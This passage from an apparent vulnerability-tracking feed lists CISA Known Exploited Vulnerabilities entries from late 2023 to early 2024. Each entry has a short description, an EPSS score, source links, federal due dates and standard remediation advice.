entry CVE-2023-46805: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-46805&date=2026-10-25 CISA added this entry on 2024-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 10, 2024; federal due date Jan 22, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Connect Secure and Policy Secure Command Injection Vulnerability https://kevwire.com/record/CVE-2024-21887 Ivanti Connect Secure and Policy Secure Command Injection Vulnerability (Jan 10, 2024). Ivanti Connect Secure (ICS, formerly known as Pulse Connect Secure) and Ivanti Policy Secure contain a command injection vulnerability in the web components of these products, which can allow an authenticated administrator to send crafted requests to execute code on affected appliances. This vulnerability can be leveraged in conjunction with CVE-2023-46805, an authenticated bypass issue. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21887&date=2026-10-25). Sources: CISA KEV entry CVE-2024-21887: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21887&date=2026-10-25 CISA added this entry on 2024-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 10, 2024; federal due date Jan 22, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Joomla! Improper Access Control Vulnerability https://kevwire.com/record/CVE-2023-23752 Joomla! Improper Access Control Vulnerability (Jan 8, 2024). Joomla! contains an improper access control vulnerability that allows unauthorized access to webservice endpoints. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-23752&date=2026-10-25). Sources: CISA KEV entry CVE-2023-23752: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-23752&date=2026-10-25 CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 8, 2024; federal due date Jan 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DSL-2750B Devices Command Injection Vulnerability https://kevwire.com/record/CVE-2016-20017 D-Link DSL-2750B Devices Command Injection Vulnerability (Jan 8, 2024). D-Link DSL-2750B devices contain a command injection vulnerability that allows remote, unauthenticated command injection via the login.cgi cli parameter. EPSS 65.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-20017&date=2026-10-25). Sources: CISA KEV entry CVE-2016-20017: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-20017&date=2026-10-25 CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 8, 2024; federal due date Jan 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Code Execution Vulnerability https://kevwire.com/record/CVE-2023-41990 Apple Multiple Products Code Execution Vulnerability (Jan 8, 2024). Apple iOS, iPadOS, macOS, tvOS, and watchOS contain an unspecified vulnerability that allows for code execution when processing a font file. EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41990&date=2026-10-25). Sources: CISA KEV entry CVE-2023-41990: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41990&date=2026-10-25 CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 8, 2024; federal due date Jan 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache Superset Insecure Default Initialization of Resource Vulnerability https://kevwire.com/record/CVE-2023-27524 Apache Superset Insecure Default Initialization of Resource Vulnerability (Jan 8, 2024). Apache Superset contains an insecure default initialization of a resource vulnerability that allows an attacker to authenticate and access unauthorized resources on installations that have not altered the default configured SECRET_KEY according to installation instructions. EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-27524&date=2026-10-25). Sources: CISA KEV entry CVE-2023-27524: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-27524&date=2026-10-25 CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 8, 2024; federal due date Jan 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2023-29300 Adobe ColdFusion Deserialization of Untrusted Data Vulnerability (Jan 8, 2024). Adobe ColdFusion contains a deserialization of untrusted data vulnerability that allows for code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29300&date=2026-10-25). Sources: CISA KEV entry CVE-2023-29300: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29300&date=2026-10-25 CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 8, 2024; federal due date Jan 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2023-38203 Adobe ColdFusion Deserialization of Untrusted Data Vulnerability (Jan 8, 2024). Adobe ColdFusion contains a deserialization of untrusted data vulnerability that allows for code execution. EPSS 97.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38203&date=2026-10-25). Sources: CISA KEV entry CVE-2023-38203: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38203&date=2026-10-25 CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 8, 2024; federal due date Jan 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Spreadsheet::ParseExcel Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2023-7101 Spreadsheet::ParseExcel Remote Code Execution Vulnerability (Jan 2, 2024). Spreadsheet::ParseExcel contains a remote code execution vulnerability due to passing unvalidated input from a file into a string-type “eval”. Specifically, the issue stems from the evaluation of Number format strings within the Excel parsing logic. EPSS 19.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-7101&date=2026-10-25). Sources: CISA KEV entry CVE-2023-7101: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-7101&date=2026-10-25 CISA added this entry on 2024-01-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 2, 2024; federal due date Jan 23, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium WebRTC Heap Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2023-7024 Google Chromium WebRTC Heap Buffer Overflow Vulnerability (Jan 2, 2024). Google Chromium WebRTC, an open-source project providing web browsers with real-time communication, contains a heap buffer overflow vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could impact web browsers using WebRTC, including but not limited to Google Chrome. EPSS 6.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-7024&date=2026-10-25). Sources: CISA KEV entry CVE-2023-7024: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-7024&date=2026-10-25 CISA added this entry on 2024-01-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 2, 2024; federal due date Jan 23, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### FXC AE1021, AE1021PE OS Command Injection Vulnerability https://kevwire.com/record/CVE-2023-49897 FXC AE1021, AE1021PE OS Command Injection Vulnerability (Dec 21, 2023). FXC AE1021 and AE1021PE contain an OS command injection vulnerability that allows authenticated users to execute commands via a network. EPSS 50.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-49897&date=2026-10-25). Sources: CISA KEV entry CVE-2023-49897: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-49897&date=2026-10-25 CISA added this entry on 2023-12-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 21, 2023; federal due date Jan 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### QNAP VioStor NVR OS Command Injection Vulnerability https://kevwire.com/record/CVE-2023-47565 QNAP VioStor NVR OS Command Injection Vulnerability (Dec 21, 2023). QNAP VioStar NVR contains an OS command injection vulnerability that allows authenticated users to execute commands via a network. EPSS 73.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-47565&date=2026-10-25). Sources: CISA KEV entry CVE-2023-47565: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-47565&date=2026-10-25 CISA added this entry on 2023-12-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 21, 2023; federal due date Jan 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Unitronics Vision PLC and HMI Insecure Default Password Vulnerability https://kevwire.com/record/CVE-2023-6448 Unitronics Vision PLC and HMI Insecure Default Password Vulnerability (Dec 11, 2023). Unitronics Vision Series PLCs and HMIs ship with an insecure default password, which if left unchanged, can allow attackers to execute remote commands. EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-6448&date=2026-10-25). Sources: CISA KEV entry CVE-2023-6448: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-6448&date=2026-10-25 CISA added this entry on 2023-12-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 11, 2023; federal due date Dec 18, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qlik Sense Path Traversal Vulnerability https://kevwire.com/record/CVE-2023-41266 Qlik Sense Path Traversal Vulnerability (Dec 7, 2023). Qlik Sense contains a path traversal vulnerability that allows a remote, unauthenticated attacker to create an anonymous session by sending maliciously crafted HTTP requests. This anonymous session could allow the attacker to send further requests to unauthorized endpoints. EPSS 84.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41266&date=2026-10-25). Sources: CISA KEV entry CVE-2023-41266: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41266&date=2026-10-25 CISA added this entry on 2023-12-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 7, 2023; federal due date Dec 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qlik Sense HTTP Tunneling Vulnerability https://kevwire.com/record/CVE-2023-41265 Qlik Sense HTTP Tunneling Vulnerability (Dec 7, 2023). Qlik Sense contains an HTTP tunneling vulnerability that allows an attacker to escalate privileges and execute HTTP requests on the backend server hosting the software. EPSS 88.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41265&date=2026-10-25). Sources: CISA KEV entry CVE-2023-41265: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41265&date=2026-10-25 CISA added this entry on 2023-12-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 7, 2023; federal due date Dec 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qualcomm Multiple Chipsets Integer Overflow Vulnerability https://kevwire.com/record/CVE-2023-33107 Qualcomm Multiple Chipsets Integer Overflow Vulnerability (Dec 5, 2023). Multiple Qualcomm chipsets contain an integer overflow vulnerability due to memory corruption in Graphics Linux while assigning shared virtual memory region during IOCTL call. EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33107&date=2026-10-25). Sources: CISA KEV entry CVE-2023-33107: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33107&date=2026-10-25 CISA added this entry on 2023-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 5, 2023; federal due date Dec 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qualcomm Multiple Chipsets Use of Out-of-Range Pointer Offset Vulnerability https://kevwire.com/record/CVE-2023-33106 Qualcomm Multiple Chipsets Use of Out-of-Range Pointer Offset Vulnerability (Dec 5, 2023). Multiple Qualcomm chipsets contain a use of out-of-range pointer offset vulnerability due to memory corruption in Graphics while submitting a large list of sync points in an AUX command to the IOCTL_KGSL_GPU_AUX_COMMAND. EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33106&date=2026-10-25). Sources: CISA KEV entry CVE-2023-33106: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33106&date=2026-10-25 CISA added this entry on 2023-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 5, 2023; federal due date Dec 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qualcomm Multiple Chipsets Use-After-Free Vulnerability https://kevwire.com/record/CVE-2023-33063 Qualcomm Multiple Chipsets Use-After-Free Vulnerability (Dec 5, 2023). Multiple Qualcomm chipsets contain a use-after-free vulnerability due to memory corruption in DSP Services during a remote call from HLOS to DSP. EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33063&date=2026-10-25). Sources: CISA KEV entry CVE-2023-33063: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33063&date=2026-10-25 CISA added this entry on 2023-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 5, 2023; federal due date Dec 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qualcomm Multiple Chipsets Use-After-Free Vulnerability https://kevwire.com/record/CVE-2022-22071 Qualcomm Multiple Chipsets Use-After-Free Vulnerability (Dec 5, 2023). Multiple Qualcomm chipsets contain a use-after-free vulnerability when process shell memory is freed using IOCTL munmap call and process initialization is in progress. EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22071&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22071: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22071&date=2026-10-25 CISA added this entry on 2023-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 5, 2023; federal due date Dec 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Memory Corruption Vulnerability https://kevwire.com/record/CVE-2023-42917 Apple Multiple Products WebKit Memory Corruption Vulnerability (Dec 4, 2023). Apple iOS, iPadOS, macOS, and Safari WebKit contain a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 9.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-42917&date=2026-10-25). Sources: CISA KEV entry CVE-2023-42917: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-42917&date=2026-10-25 CISA added this entry on 2023-12-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 4, 2023; federal due date Dec 25, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Out-of-Bounds Read Vulnerability https://kevwire.com/record/CVE-2023-42916 Apple Multiple Products WebKit Out-of-Bounds Read Vulnerability (Dec 4, 2023). Apple iOS, iPadOS, macOS, and Safari WebKit contain an out-of-bounds read vulnerability that may disclose sensitive information when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 17.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-42916&date=2026-10-25). Sources: CISA KEV entry CVE-2023-42916: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-42916&date=2026-10-25 CISA added this entry on 2023-12-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 4, 2023; federal due date Dec 25, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Skia Integer Overflow Vulnerability https://kevwire.com/record/CVE-2023-6345 Google Skia Integer Overflow Vulnerability (Nov 30, 2023). Google Chromium Skia contains an integer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a malicious file. This vulnerability affects Google Chrome and ChromeOS, Android, Flutter, and possibly other products. EPSS 16.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-6345&date=2026-10-25). Sources: CISA KEV entry CVE-2023-6345: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-6345&date=2026-10-25 CISA added this entry on 2023-11-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 30, 2023; federal due date Dec 21, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ownCloud graphapi Information Disclosure Vulnerability https://kevwire.com/record/CVE-2023-49103 ownCloud graphapi Information Disclosure Vulnerability (Nov 30, 2023). ownCloud graphapi contains an information disclosure vulnerability that can reveal sensitive data stored in phpinfo() via GetPhpInfo.php, including administrative credentials. EPSS 77.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-49103&date=2026-10-25). Sources: CISA KEV entry CVE-2023-49103: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-49103&date=2026-10-25 CISA added this entry on 2023-11-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 30, 2023; federal due date Dec 21, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GNU C Library Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2023-4911 GNU C Library Buffer Overflow Vulnerability (Nov 21, 2023). GNU C Library's dynamic loader ld.so contains a buffer overflow vulnerability when processing the GLIBC_TUNABLES environment variable, allowing a local attacker to execute code with elevated privileges. EPSS 63.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-4911&date=2026-10-25). Sources: CISA KEV entry CVE-2023-4911: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-4911&date=2026-10-25 CISA added this entry on 2023-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 21, 2023; federal due date Dec 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2023-36584 Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability (Nov 16, 2023). Microsoft Windows Mark of the Web (MOTW) contains a security feature bypass vulnerability resulting in a limited loss of integrity and availability of security features. EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36584&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36584: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36584&date=2026-10-25 CISA added this entry on 2023-11-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 16, 2023; federal due date Dec 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sophos Web Appliance Command Injection Vulnerability https://kevwire.com/record/CVE-2023-1671 Sophos Web Appliance Command Injection Vulnerability (Nov 16, 2023). Sophos Web Appliance contains a command injection vulnerability in the warn-proceed handler that allows for remote code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-1671&date=2026-10-25). Sources: CISA KEV entry CVE-2023-1671: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-1671&date=2026-10-25 CISA added this entry on 2023-11-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 16, 2023; federal due date Dec 7, 2023. Evidence: 